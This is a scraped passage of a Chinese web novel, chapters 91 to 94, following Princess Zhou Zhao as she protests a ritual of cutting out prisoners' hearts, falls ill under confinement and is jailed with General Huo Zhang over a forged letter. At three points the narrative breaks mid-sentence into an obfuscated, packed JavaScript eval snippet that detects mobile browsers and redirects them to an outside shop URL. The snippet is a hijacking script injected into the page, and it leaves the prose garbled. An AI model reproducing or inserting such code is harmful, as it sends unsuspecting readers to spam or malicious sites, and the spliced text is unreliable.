这“观礼”二字咬得极重,周昭仓促离席,身后官员窃窃私语道:“公主殿下脸色不大好哇……” “公主再怎么说也只是个女子,哪能看得了这些。” 兰令仪往嘴里喂了把冰块,嚼得咔咔作响。祭台上男人的尸体已经被抬下去。 随后,第二个人被押上祭坛,同样是被活生生掏出心脏,青铜鼎内烈火烧得愈发旺盛。 兰令仪自言自语道:“简直是疯了……” 91. 第 91 章 周昭脚步匆匆走出小楼,路过祭台下熙熙攘攘的人群,模糊中看见一人用黑布蒙着半张脸,神情鬼鬼祟祟,周昭觉得此人眼熟,正欲去寻,那人却忽然消失在这片汪洋人海里。 太阳愈发毒辣,周昭没有在意,回宫直奔承乾殿。 宣庆帝依旧不见,李德海堆着满脸笑容,劝慰道:“公主,陛下忙着呢,这会子没工夫见您。” 周昭扬着下巴,望着承乾殿内,目不斜视道:“那我就跪在这里,等父皇什么时候想见我了,我再进去。” 她果然落跪于殿前,李德海拍着大腿道:“哎哟喂我的公主殿下!您这不是为难老奴吗?” 周昭视而不见,不肯再答。 李德海看她片刻,叹了口气,转身又走进殿内。 过了会子,李德海走出来,他眯着眼睛望望天,又抬手挡了挡刺目的阳光,弯下腰道:“公主,这日头毒得很,您跪在这儿不出一个时辰就得中了暑气,您还是走吧!” 周昭置若罔闻,李德海唤了名小太监过来,悄声道:“去,找把伞来。” “劳公公挂心,不必了。”周昭总算将目光落在李德海身上,“公公要是真找人给我遮阳,怎能显出我一片诚心求父皇相见呢?” “让她跪!”殿内传来一声怒喝,还有什么东西砸在地上的声音。 李德海忙领着那小太监退下。 树上蝉鸣鸟叫不知疲倦,正值晌午,烈日当空,在周昭身下投射出一团小小的影子。 等那团影子逐渐拉长,周昭浑身的衣服已然湿透了,祭天台上那阵烈火仿佛烧在她心口,她嘴唇发白,头脑却异常清醒。 不知跪了多少个时辰,蝉鸣声渐渐平息,头顶的烈日突然被遮挡住。 周昭抬起头,伞下是周澈那张满是担忧的脸。他身上传来丝丝缕缕熟悉的安神香,让周昭不禁有一瞬间的眼清目明,唇角扯开一个淡淡的笑,唤道:“五哥,你来了。” “小昭,喝点水。”周澈拿出一支水壶,递给她。 周昭摇摇头,鼓胀的太阳穴因着这轻微的晃动仿佛要炸开,周澈叹气道:“小昭,我早就说过了,莫要与自个儿为难。” “五哥,我只是想见见父皇。” “见了,然后呢?你不是要劝父皇取消祭天,你这样做,是在逼父皇放弃自己的子民。” 汗珠顺着周昭的下巴滴落下来,她感到嗓子干涩而疼痛,因此说话的声音也有些沙哑。 “姜国,还没有北疆一半儿大的地方,几百年来和大周从未起过冲突,如今一反常态兵戎相见,岂非自寻死路?再者……”周昭勉强咽了咽口水,继续道,“槐鬼既然是目袋怨气所生,为何吃了姜国人的心脏就能消除怨气?五哥,你不觉得这些奇怪吗?” “小昭,你觉得这些父皇跟大哥难道看不出吗?” “五哥是说……”周昭惊愕道。 周澈在这烈日下站了会儿,不免头晕脱力,于是盘腿坐下,喝了一小口水壶里的水,才道:“缘由不重要,重要的是结果。槐鬼已经由盛都蔓延,如此发展下去,快则两三年,慢则四五年,届时国将不国,民亦非民。就算姜国当真无辜,父皇也只能用姜国人的血来救大周。” 周澈为了劝动周昭,这话说得胆大包天,并不似他往日谨慎的作风,他喝了点水,又道:“……小昭,我那时便与你说过,这宫里的事情不是你想的那么简单。跟我回去吧,好吗?” 皇权一手遮天,想让百姓知道什么看见什么,不过是从真真假假的事实中漏出点儿消息,一些于国有利的消息,至于漏出来的是真是假,并不重要。 周昭深感颓败,喃喃道:“五哥,你今日没去祭坛观看祭天,要是你亲眼见过……” 她心道:“要是亲眼见过,你就会相信,这样残忍的祭天,迟早会遭报应的。” “五哥,你快回去吧。”周昭唤道,“小喜,快来扶着你家殿下。” 周澈见劝说不动,只好起身:“小昭,该说的我都说了,你劝不动父皇的。” 周昭沉吟道:“那就不劝了,五哥,你说得对,我不该逼父皇做决定。” 周澈喜道:“你想通了?” 周昭微笑道:“五哥,你放心。” 周澈神情黯淡下去,应道:“好吧。” 周澈走后,没过多久便下起倾盆大雨。 夜幕降临,雨势丝毫未减,豆大的雨点砸在脸上,周昭依旧跪得笔直。 来往的宫人都低着头匆匆走过,无人敢朝周昭望上一眼。 承乾殿的灯火在纱窗摇晃不止,周昭盯着雨幕中那团灯火目不转睛地看了许久,殿门终于打开一条缝隙,李德海弯着腰从里面小步退出来,他转头冲进雨里,对周昭说道:“公主殿下!陛下说了,今日不想见您......” “雨大,公公请到廊上避雨去吧。” 李德海叹了一声:“公主,您这又是何必呢......” 李德海离开后,一团明黄由众人簇拥着走下台阶,周昭抬起头,叩首道:“父皇。” 宣庆帝脸色苍白,并未叫周昭起身,沉声道:“祭天一事,朕意已决,无需再议。” “儿臣不是为此事而来。” 宣庆帝微微眯起眼睛,周昭道:“儿臣想求父皇恩准,让儿臣出使姜国。若槐鬼真是姜国所为,儿臣必取姜王人头,祭奠我大周死去的百姓。若另有隐情......” “又当如何?” “若另有隐情,眼下两国反目,岂不是遂了幕后黑手之愿?” “荒唐!”宣庆帝道,“是姜国先挑衅在先,朕没有命铁骑踏平姜国已是天恩,你身为大周公主,不为那些无辜百姓着想,反倒要替敌人叫屈?” “父皇,一个敌人不可怕,怕的是引起天下众怒。姜国虽小,但要是五个、十个姜国一齐发难……” “那就灭五个,灭十个!”宣庆帝的神情被明黄华盖遮挡去,只留出黑沉沉的下半张脸,周昭却觉得站在自己面前的人无比陌生,不禁打了个寒颤。 宣庆帝道:“还有什么要说的?” “......父皇,您是决心要杀光姜国人来渡槐鬼,对吗?” 宣庆帝不置可否。 午时那刽子手挖去的人心犹在眼前跳动,周昭忍不住道:“敢问父皇,义县究竟是姜国埋伏在先,还是大哥带兵突袭……” “混账话!”天边一道滚雷,宣庆帝扬起巴掌重重地打在周昭脸上,他气得不轻,情不自禁往后倒了两步。 “陛下息怒!”李德海心惊胆战叫道。 周昭被这一巴掌打得头晕目眩,几欲呕吐,宣庆帝强抑着愤怒的声音无比清晰地自头顶飘过:“公主身染重疾,即日起于昭阳殿养病,无诏不得出!” 电闪雷鸣中,承乾殿三个字被间歇落下来的闪电照耀得惨白明亮,那顶明黄华盖已经走远了。 几个小太监慌里慌张地跑过来,周昭喝道:“不用扶我!”又想这是李德海一番好意,她双手撑地勉强直起身子,嘴唇被冻得发白,低声道:“退下吧。” 周昭脸上火辣辣的痛,分不清是被打的太痛,还是这屈辱本身就让她足够痛了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999804|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羞愤、委屈、颓废、无力、迷茫、困惑......这种种情感在她心中横冲直撞,周昭感觉自己也像被摆在祭天台上挖了心的俘虏。 她已经跪了四个时辰,再想站起来时,只觉得这双腿已经不是自己的,哪怕是那日被槐鬼险些吃掉都没有这般剧烈的疼痛,一直蔓延到紧缩的心口,让她喘不过气。 她摇摇晃晃起身,有人急匆匆赶来搀住她的胳膊,周昭挣脱道:“我自己会走!” 那人哑声道:“殿下。” 周昭费力地抬起抬眸,缓缓道:“是裴砚啊......” 说完这句,她便两眼一黑晕了过去。 周昭是习武之人,昏昏沉沉中却觉得身子异常沉重,她一会儿冷得如坠冰窖,一会儿又热得浑身冒汗。 耳边脚步声匆匆忙忙,来回交替,鼻端总是嗅到一阵苦涩的药味儿,周昭知道这是自己生病了。她每每想睁开眼睛看清楚,又很快坠入一片虚无,或者说,是被虚无抓住脚踝强行拉进沉沉的梦境。梦境沉甸甸的压在身上,周昭听见有人在唤她: “明鸢......” 声音很小,又低又沉,简直像是在她脑子里讲话。 若换了旁人一定听不清楚是谁在叫,但这个声音周昭听过无数遍,她几乎是立刻回应道:“师父。” “师父,是你吗?” “明鸢......”那个声音似乎轻轻地叹了口气。 虽然是在梦中,但周昭瞬间便难以自持,几乎要流下泪来。她就像被抛弃多年,终于找到了回家的路,又是欣喜,又是委屈,忍不住怪罪对方抛下自己,又忍不住沿着路去追对方的声音。 “师父,明鸢好累......” “师父,明鸢把你弄丢了......” 但不管周昭再怎么喊叫,江梅棠都不肯再应一声。 周昭又累又渴,很快又坠入另一片更深的混沌。等周昭从梦中醒来时,眼前仍旧漆黑一片,她的眼睛很快适应了眼前的黑暗,屋内一应陈设就像被墨笔逐渐勾勒出轮廓,悄无声息地露出原本的面貌。 周昭刚动了动,流筝便醒过来,带着哭腔唤道:“公主,您总算是醒了!” “流筝姐姐......”周昭被自己嘶哑的声音吓了一跳,这时窗外一个人影晃动了几下,流筝忙道:“公主莫怕,门外是裴砚。” “我这是……怎么了?” 流筝抹了把眼泪,起身去点灯,一边倒茶一边说道:“公主,您不记得了?那日您去找陛下,也不知道说了什么惹得陛下大发雷霆。雨那么大,裴砚送您回来的时候我都快吓死了!裴砚也真是的,他一个侍卫怎么敢抱着您在宫里乱窜,还好那日安宁王乘轿路过,不然岂不是叫人瞧了去,落下话柄。” 周昭听得头晕脑胀,接过热茶喝了几口,捡重点的问道:“我睡几日了?” “公主,您那是昏迷!”流筝气鼓鼓地接过茶盏,“三日了。” “三日?”周昭不敢相信自己身子竟然这么差了,其实是她心中紧绷着一根弦,病来如山倒,她自己没有意识到罢了。 “是啊,三日。”流筝道,“这三日里,咱们昭阳殿可来了不少人,但都……”流筝顿了顿,暗骂自己嘴快。 “但都一律不能进,对吗?我猜殿外还有父皇派来看着我的侍卫,是也不是?” “公主,您到底跟陛下说什么了?咱去认个错,行吗?” 周昭勉强笑道:“要是这么容易就好了。” 她说了几句话,又觉得困意袭来,流筝便吹熄烛火,主仆二人一同睡下了。 92. 第 92 章 周昭没猜错,昭阳殿如今就像一只铁桶,殿外日夜都有看门的守卫,连流筝他们都不能走出半步。 周昭身体底子好,养了几日便恢复得七七八八。这几天她问过裴砚,才知道祭天是将那些姜国人的心脏放于烈火中烧成灰烬,再取无根之水浇灌,得到的便是虚无渡口中的“灵台圣水”。 这水饮上一瓢,能渡一个槐鬼为人。 “说来说去,跟食人心脏有什么区别?”流筝虽然没去看祭天,但光是听裴砚描述就让她险些发抖,避之不及。 “本质没区别。不过,喝圣水更能让人心安理得。”周昭道。 裴砚鄙夷道:“虚无渡如今已被百姓推崇为盛都城的圣人,连国师之位都……”他没再继续往下说,剩下的半句话却不难猜。 这话入了周昭的心,神情有几分晦暗,岔开话题道:“大哥什么时候走?” 流筝咦了一声:“公主,您怎么知道大殿下要出征?” 裴砚答道:“快了,就在这几日。”他又说:“流筝,盛都如今有多少槐鬼?” “不清楚,一千?” “一千三百,平南王带回来仅二百俘虏,二百颗人心,怎么够用?”裴砚语气平淡,流筝却大为惊骇,周昭则自言自语道:“要是能出去就好了。” “殿下,祭天那日有件奇事……” 裴砚欲言又止,但他话已说出口,断然没有再收回去的道理,于是索性直说:“禁军在祭天台下抓住一人,你猜是谁?就是在城北误打误撞吃了姜国人,第一个变成人的槐鬼。” “是他?”周昭想起那日祭天台下匆匆一瞥,那人用块黑布包着半张脸,行为诡异得很,“为何抓他?” “此人名叫秦川,那日祭天他便鬼鬼祟祟,当然,这并非抓他的理由,至于被禁军抓住就纯属巧合了。那日太阳毒,秦川头上包着块遮面的黑布,台下又十分拥挤,你推我搡,那黑布被撞掉了。”裴砚停顿片刻,似乎在想该怎么说,“黑布下面那张脸……” 这回不消周昭问,流筝先急得不得了,问道:“脸怎么啦?” “他那张脸,一半是自己原本的面容,另一半,却是那被他吃掉的姜国人面孔。” 周昭惊愕道:“有这种事?” 流筝尖叫道:“太吓人了!” “我去见了秦川,的确如此。”裴砚又道,“所以人们看到秦川那张脸,都跟流筝一个反应,跑的跑,散的散,恐慌一下子盖过了祭台上的仪式带来的新奇感,禁军当场将秦川拿下。” 周昭蹙紧眉头,问道:“是单有秦川一人这样,还是南衙那些人都会这样?” 裴砚似乎有些后悔将这件事告诉她,沉吟道:“这个问题,秦川也很想知道,所以才混在祭天台下,想看看有没有人跟他一样。至于南衙那些人,目前一切正常,不过我认为,兴许是时候未到……” “你的意思是,如果吃掉姜国人,过段时间那被吃掉的人脸就会长在自己的半边脸上?” “我觉得是的。” “大哥怎么说?即便如此,他还要出征吗?” 裴砚点点头,道:“殿下,对槐鬼来说,半张脸哪有一条命重要?”流筝怯生生道:“那我宁愿死了,也不愿意别的东西长在我脸上。” 裴砚淡淡道:“那是因为你从没接触过死。” “可是……”流筝光是想想自己的半张脸变成别人的样子,还是死人的样子,就情不自禁打了个寒战,下意识伸手摸了摸脸颊。 周昭则听不进去他们二人各抒己见,心中正盘算着怎么见宣庆帝一面才好。 祭天之后第五日,平南王再度出征讨伐姜国,百姓欢呼雀跃为之送行。 至于秦川,那么多人都看见了他的脸,但惶恐之后人人都不约而同地决定视而不见,一边暗自揣测这种事情不会发生在自己身上,一边干脆安慰自己以后不照镜子就是。 这样半副面孔是生,半副面孔是死,也被百姓称为“阴阳面”。 没过几日,苍界山上则多了另外一副庙宇,里面供着平南王的雕像,前来祈愿之人络绎不绝,两相对比之下,另一侧的神女殿就显得门庭冷落了。 流筝将这些事情告诉周昭时,她一点儿也不在意,只吩咐裴砚去将神女殿那副画像取回来。 一来那画像是江梅棠所作,二来周昭不愿自己被供在神庙,但裴砚却说什么都不肯,周昭只好作罢。 昭阳殿虽然大,但四方之地总有走遍的时候,到了这时便觉得无聊了。 周昭被关在昭阳殿,大部分时候是看书习字,有时会跟裴砚练剑消磨时光。 说来奇怪,裴砚这个人比从前功夫长进不少,但却不怎么会使剑。好在他学什么都很快,周昭便耐着性子,将从前江梅棠教过她的剑术全都教给裴砚。 练剑之余,又一点点教他读书写字,偶尔也教他音律,这一日下来,竟也不觉得时间难熬。 但只要一闲下来,祭天那一幕便在周昭脑海里挥之不去。 昭阳殿仿佛被盛都遗忘,安安静静地坐落在皇城的角落里,过了三个多月,周昭才从门口的侍卫口中得知平南王凯旋的消息。 周昭没想到,她在这昭阳殿一关就是整整半年。 这半年里,祭天顺利进行,一边有槐鬼吃了人心变成人,一边又有无数人悄无声息地变成槐鬼,而这一切,则由千里之外的姜国人掏出自己的心脏,来维系盛都表面的和平。 一日深夜,来了位不速之客。 那日周昭睡得不沉,半睡半醒间,似乎听到什么东西在地上拖行的声音,就像一把铁链贴着地面,一下,又一下,发出清脆而让人毛骨悚然的声音。 周昭迷迷糊糊睁开眼睛,唤道:“流筝?” 没人应。 “裴砚,是你吗?” 还是没人应。 铁链声来到床边停下,周昭猛地惊醒,黑暗中只能看清一个陌生男子半张脸的轮廓。 她正欲呼叫,却惊恐地发现自己发不出一点儿声音,连身体都好像被钉死在床上,一动也动不了。 男人三十五六上下,跟霍璋年纪相仿,头发乌黑,面容苍白毫无血色,露出的半张脸五官端正明朗,仪态威严沉稳,竟有帝王之姿。 唯独望着周昭的那双眼睛,深不见底,让他整个人多了几分邪气。 男人垂眼看她,似笑非笑道:“我不会伤害你,别怕。你叫也没用,不信可以试试。” 话音刚落,周昭惊觉自己又能说话了,她并没有急不可耐地问这人是谁,反而肆无忌惮盯着他,想看清这人隐在暗处的剩下半张脸。 一种莫名的熟悉感萦绕在周昭心头,直觉告诉她,这人似乎在哪里见过。 男人见她目光探究,喉咙里低笑道:“胆子很大嘛,不愧是那个人选定的天下之主。” “什么意思?” “没什么意思,可惜……” 男人在离周昭半步远的椅子上坐下,他这一动,周昭的目光自然而然下移到对方的衣袍上,惊讶地发现这人的黑袍上竟然绣着龙纹。 而在他双脚之上,则戴着一副精铁打造的沉重镣铐。记忆深处一个声音猛地跳出来,和刚才的铁链声重合在一起,周昭脱口而出道:“无妄海!你是无妄海那个人。” 男人不置可否,四平八稳地坐着。 周昭被他这么盯住,心里竟莫名升腾起一股面对宣庆帝才会有的紧张和惧意,但这感觉稍纵即逝,她冷声问道:“我有一位朋友,是你抓走的吗?” 男人哈哈笑道:“你那位朋友,狡猾得很。我来就是想问问你,明鸢,你知不知道他的下落?” 他唤周昭的语气十分自然,要不是知道对方来路不明,绝非善类,周昭险些都要以为这是哪位长辈了。 她定了定神,反问道:“难道那日的风浪不是你搞的鬼吗?” “不是,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001901|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位朋友,其实是我的儿子。” “什、什么?!” 男人或许觉得这样跟一个躺着的人说话有点难受,于是解了禁制,因此周昭这句话是从床上翻起来说的,她惊讶到极点,反倒是不怎么害怕了。 “明鸢,你太容易相信别人了。” 男人向后靠在椅背上,跷起腿,寻了个舒服的姿势,继续道:“你的血是毕方神血,只有它才能打开无妄海,通向无相渊的大门。我那顽劣的小儿子当年离家出走,但他找不到回去的路,于是一步步诱骗你来到无妄海,用你的血打开了阴阳裂缝。” “我想想……他是不是很会演戏?装可怜?装柔弱?” 那时萧十六说自己被蝎子咬伤,后来她割手喂血…… 这一画面不受控制地跳入周昭脑海里,她下意识否认道:“不对,你在说谎。” 周昭目光坚定:“若十六真如你所说,当时无相渊大门已开,十六早就回家去了,你现在却来找他,岂不是说不通吗?” “哦,原来他给自己取了这么个名字。”男人若有所思地点点头,又道,“不知道,兴许是他看见我突然出现,害怕我罚他吧。” “就这么一个理由?”周昭忍不住质疑道。 男人反问道:“不然呢?天底下哪有不怕老子的儿子,明鸢,你不是也很怕自己的父皇吗?” “这不一样……”周昭反驳道。 男人不以为然:“有什么不一样?虽然儿子怕老子,但做爹的,儿子丢了,当然要出来找。明鸢,他真的没再来找过你?” 他目光如炬,给人一种极不舒服的压迫感。 “没有,我也一直在找十六。”周昭攥紧被子,问道,“我想问个问题……” “你想问我是不是人?”男人直截了当,站起身,“好了,既然你没见过他,我只好亲自去找了。” 他越走越近,周昭一颗心提到嗓子眼,她虽然看出对方对自己并无恶意,仍不免紧张。 谁知对方突然捉住她的手腕,哈哈笑道:“明鸢,这莲花烙可不是什么好东西。” …… 第二日周昭醒来还当是一场梦,直到她发现自己左手腕上的莲花印记不见了,才确认昨夜不是梦。 无妄海,无相渊...... 难道十六......周昭不敢再想下去,她轻轻摩挲手腕,这时殿门叩响三下:“公主,我进来了?” 流筝端着装满水的铜盆走进来,身后跟着服侍的宫人,周昭心不在焉地任由流筝为她穿衣梳妆,直到坐于铜镜前,周昭又想起昨夜那张脸,试探道:“流筝姐姐,你昨晚可曾听到什么声音?” “没有啊,怎么了公主?”流筝拿着一把木梳为周昭挽发,她手很巧,三两下就梳成一个双鬟髻。 周昭道:“没事儿,可能我听错了。” “是野猫的声音吧,我前儿个还看见那野猫呢,脏兮兮的,眼睛绿得可怕。” 猫?周昭转头道:“哪儿来的猫?” “哎,公主您别乱动,”流筝又把周昭的脸转回镜子前,“这么好的头发,扯断几根多可惜呀。” 她一边梳着一边道:“我也不知从哪儿跑来的,您想养猫吗?要不我们给看门的赏些银两,让给您寻一只来解解闷儿。” 周昭眼看着流筝在她头发上插满发饰,忍不住笑道:“又不出门,戴这许多珠翠干什么?” 她说着就想取下来,流筝却不肯:“公主,正因为你现在不出门,不骑马,不舞刀弄枪,我才难得给你打扮打扮,反正,我不管,我就要把你打扮得漂亮漂亮的。” “好吧,随你。”周昭道,“下次见着那猫,别吓着它,让小厨房扔几条鱼给它吃好了。” 这日过了晌午,周昭突然想起这半日都没见裴砚,问过流筝,对方也不清楚。 忽地,听见一声猫叫,流筝尖叫道:“裴砚!你把这东西弄进来干嘛!” 93. 第 93 章 裴砚抓着白猫后颈,拎到眼前看了看,语气无辜道:“怕什么,我都洗干净了。” 那白猫想来被他捏着皮肉不大舒服,两条后腿在空中上下扑腾,一双绿莹莹的眼睛望着周昭。 她一下子认出这是旧友,万分惊喜地叫道:“呀!般般?过来,给我抱抱。” 裴砚不大情愿地将猫递给周昭,那白猫一碰到她,便埋着脑袋往周昭怀里钻,叫声也绵软,像撒娇。 周昭仔仔细细地看,愈发觉得这就是当年苍界山上十六养的那只白猫。如今人没找到,猫却机缘巧合跑来她面前,不由一阵感慨。 裴砚双手抱胸,鄙夷道:“看人下菜。” 流筝则又害怕又抗拒,劝道:“公主,这野猫凶着呢,万一伤着怎么好……还是丢出去吧。” 听流筝这么说,裴砚又果断地站到白猫这边,反驳道:“殿下说它叫般般,不是野猫。” 周昭抬起头,问道:“裴砚,你从哪儿找到它的?” 裴砚道:“外院墙头上抓着的,我瞧着这猫眼熟得很,从前在苍界山见过。” “原来如此,般般,你可真聪明。”周昭亲昵地摸着猫背,眼神中又流露出一丝不易察觉的忧愁,她摸着猫,衣袖顺着小臂滑下来,裴砚的目光落在她腕上,似乎有一瞬不自然。 流筝的心思都在这只猫上,唯恐突然发性伤了周昭,至于裴砚,则缓缓移开了视线。 “流筝姐姐,你去拿些吃的来。” 流筝出去后,裴砚突然有些拘谨,像是有话要说。 “裴砚,你怎么了?” 裴砚欲言又止道:“殿下,你……想不想离开这里?” “离开?”周昭直觉裴砚口中的“离开”并不简单 果然,对方道:“是的,离开。我是说,离开皇宫,离开盛都,离开槐鬼,之后你想去北疆也好,南疆也好,天大地大,何必困囿于这方寸之间。若殿下想走,我……” 裴砚没说完剩下的话,他的表情既坚定,又透着些古怪,停顿片刻,勉强一笑:“不过我想,殿下是不会离开的。” 周昭只当裴砚在昭阳殿待腻了,本想寻个机会让裴砚离开,谁知这机会竟自己送上门了。 时值隆冬,雨水并不常见,但若下雨,便是夹着雪星子簌簌而落,格外寒冷。 当晚就是这样的天气。 阵阵寒风吹得窗户咔咔作响,那用来糊窗的天青色帐子已经旧了,显得灰蒙蒙的不大鲜亮。 相较于室外的寒气逼人,殿内就暖和多了,拢着两盆烧得正旺的炭火,时而发出轻微的毕剥声,周昭斜靠在软榻上,觉得头晕气闷,于是放下书唤道:“来人,将窗户打开些。” 她抬起目光,才想起头先吩咐了不让人来扰,这会子自然无人应。 周昭下榻走到窗户前,几盏烛火安静地在纱窗上摇曳。 突然,窗户上却映出一个人影。 “谁?” 周昭正欲推开窗一探究竟,那人却比她更快,身形一动从窗户里跃进来。 又有人来?? 周昭吓得后退半步,下意识地抽出墙上挂着的剑,她右手刚拔出剑锋,对方却侧身按住剑柄,轻轻巧巧地往回一推。 白刃回鞘,被风吹得晃动不止的烛火映在来人脸上,周昭看清是谁,忍不住惊愕道:“霍将军?” “将军这是怎么了?” 霍璋摘下斗篷,抖落些许风雪。 他一身黑衣,双目布满血丝,下巴颏上也冒出了青青的胡茬,哪里还有半分从前意气风发的模样,也难怪周昭第一句话不问他从何而来,要问他发生何事了。 几乎是在霍璋刚翻进来的空当儿,周昭便立刻关了窗,霍璋单膝跪地道:“殿下,深夜叨扰,臣罪该万死。” 周昭双手相扶:“将军快请起,到底发生何事了?”又暗自想道:“父皇召将军回盛都了?” “……”霍璋紧抿着唇,嘴唇发白,整个人都带着隆冬那彻骨的寒气,磕磕绊绊地吐出几个字来,“殿下,兰将军她……她如何了?” “兰将军?”周昭愈发摸不着头脑,她本就对霍璋突然出现心有怀疑,此刻听他这么说,几乎是立刻明了霍璋并非被召回盛都,八成是私自回来的。 驻边将领无诏而回,乃是大罪。 周昭暗暗心惊,面上却纹丝不动,领着霍璋往屏风后一张小几那儿去坐,低声问道:“将军,还请将来龙去脉说清楚。” 霍璋面露诧异,语气急促道:“令仪她……兰、兰将军她不是也染上那该死的病了吗?怎地,殿下一点儿也不知晓?” “什么?兰将军被传染了?” 霍璋眉头愈发紧锁,三言两语将自己如何在漠北收到一封信,信中说兰令仪变成槐鬼命不久矣,又说他如何赶回来,城外将军府却找不见兰令仪,他不敢声张,摸黑寻到昭阳殿这些一一道出。 “等等。”周昭愈发困惑,“将军,你说信是谁写的的?” “斯年,闫斯年。” “能否给我看看?” 霍璋犹豫片刻,从怀里掏出一封信,递给周昭。又压低声音问道:“殿下,我来时见昭阳殿外有不少侍卫,出什么事儿了吗?” “说来话长,将军,咱们还是先看看——”周昭展开信纸,忽而脸色大变,霍璋问道:“有什么问题吗?” 他接过信扫了几眼,亦是神情骤变。 周昭观他神色,一种不好的预感在心头蔓延,她腾地站起来,面色凝重,说道:“将军,兰将军没事儿,有事儿是咱们。” 周昭快步走到窗户前,回头道:“来不及说这么多了,将军先快些离开。” “好,”霍璋暗骂道,“是我大意,信被换了!” 他取过斗篷,正要推窗而走,却听一声高喝—— “何人擅闯公主府!” 一支利箭挟风而来,嗖地一声正对窗棂,此刻霍璋半个身子刚钻出去,若要再往外跳,必定会被箭所伤,但他若弯腰躲开,那伤的就会是周昭。电光火石间,眼看箭芒逼近,周昭忍不住叫道:“小心!” 霍璋像一道闪电窜出去,看也不看,抬手便挡。 只听“叮”一声脆响,那是箭尖撞在铁护腕上折断的声响。 大雨滂沱中,夜色沉沉。 无数火把快速地从回廊移动而来,领头的是北衙统领陈子明,他看了看霍璋脚下断箭,不由怯了三分,心道:“都说霍璋是雪山脚下的狼,果然名不虚传。” 陈子明早知这是霍璋,偏要装出毫不知情的样子,做了个手势,叫道:“将这贼人拿下!绑了!” 不消他说,冲上来的禁军已经将霍璋团团围住。以霍璋的身手,对付这些禁军本不在话下,但他刚看过那信,心知一旦动手再无回头路,这么犹豫了短短一瞬,就被雪亮的刀剑围在中间绑住。 周昭当即推开门,眼神近乎威胁,喝道:“谁人叫喊!” 陈子明原本料定周昭不敢出来,此刻不由被喝退半步,愣住片刻,恭敬道:“公主,禁军巡夜发现有贼人鬼鬼祟祟出现在昭阳殿,臣特来护驾。” 他这话滴水不漏,周昭看看霍璋,又看向陈子明,心知霍璋的身份瞒不过去,冷声道:“统领来得够巧的,不过,哪里有什么贼人?统领看清楚了,那是霍璋将军。” 陈子明佯装惊讶道:“霍将军?果然是霍将军。” 霍璋面色铁青,只道阴沟里翻了船,并不答话。 “不过,霍将军好像应该在北疆吧……”陈子明拿过一只火把照在霍璋脸上,似笑非笑道,“如今大半夜出现在昭阳殿,还是从窗户里跳出来的,臣倒是不明白了,还请霍将军……解释解释。” 周昭道:“巧了,霍将军也是听见外面有贼人鬼鬼祟祟,是我让他出去抓贼的。倒是统领,前院离此少说也有百来步,统领来得……悄无声息啊。刚才那一箭,若不是霍将军,只怕我已经被你射死了!” “公主这是哪里话!”陈子明诚惶诚恐道,“臣也是为公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张文山亲自领着周昭来到霍璋对面的监牢,打开门,做出一个“请”的姿势来。 周昭点头谢过,等这二人离开,霍璋忙双手扒在牢房上,急切道:“殿下,果真如此?陛下怎么说?” 周昭无奈道:“父皇偏信那封信,我也没有办法。” “不对,殿下,你是为我求情去了。”霍璋叹道,“此事全怪我大意,但那大理寺卿说得对,我被关进来本来也没有定罪,说明陛下还心有疑虑。可殿下千不该万不该,把自己也搭进来。” 周昭待的这处监牢还算干净,想必是张文山提前派人洒扫过。 她盘腿坐下,不无懊恼道:“我何尝不明白将军的意思,但我一见你被关进来,心思乱得很,顾不了那么许多。再说我以为这事儿本来也能说清楚,若你我真要谋反,北疆大军何在?难道就凭你一人和那封造假的书信,就能治罪吗?” 周昭有句话没有说明,她那时怕的不是这出一眼假的谋反之罪,而是霍璋擅离职守之罪,仅凭这一点就足够杀头。 因此周昭才沉不住气要进宫面圣,却忘了水只会越搅越浑,才有今日局面。 霍璋道:“有些事情不像殿下想的那么简单,你我都知道谋反是假,陛下也知道,但猜忌一旦生出,再想打消就难了。殿下无端被我牵连,这一关,难过。” “将军言重了,我本就被禁足半年,正与父皇闹得不愉快,你我谁牵连谁,倒说不好了。”周昭神情坦然,面露微笑。 霍璋哈哈笑道:“殿下这么想,折煞臣了。不过……”他止了笑声:“禁足又是为何?我远在北疆,从未听说。” 周昭叹了口气:“还是那句话,说来话长。” 她将这大半年来盛都城内发生的事儿全盘道出,末了,眼中流露出一丝难掩的困惑,问道:“将军,我做错了吗?” 霍璋坐下,沉吟道:“错,也没错。” 94. 第 94 章 “何解?” “殿下宽厚,不忍伤及无辜,此为无错。殿下身为周朝皇女,偏袒姜国......” 霍璋自然看出周昭对这“偏袒”二字并不认同,他斟酌片刻,又道,“殿下身边的人当然知道,你是觉得此事蹊跷,不能不明不白屠戮姜国,但查证是需要时间的,殿下想要陛下给你时间,想要百姓给你时间,可槐鬼等不了,他们只会看到大殿下取药救民,你却百般阻拦。” 周昭面露茫然,霍璋注视着这位沦为阶下囚的金枝玉叶,心知她错就错在心肠不够硬。可又瞧着周昭不过十八九岁的年纪,终究不忍将话点破,继续道:“殿下,光阻止祭天没有用,你得拿出不祭天也能让槐鬼消失的办法来。” 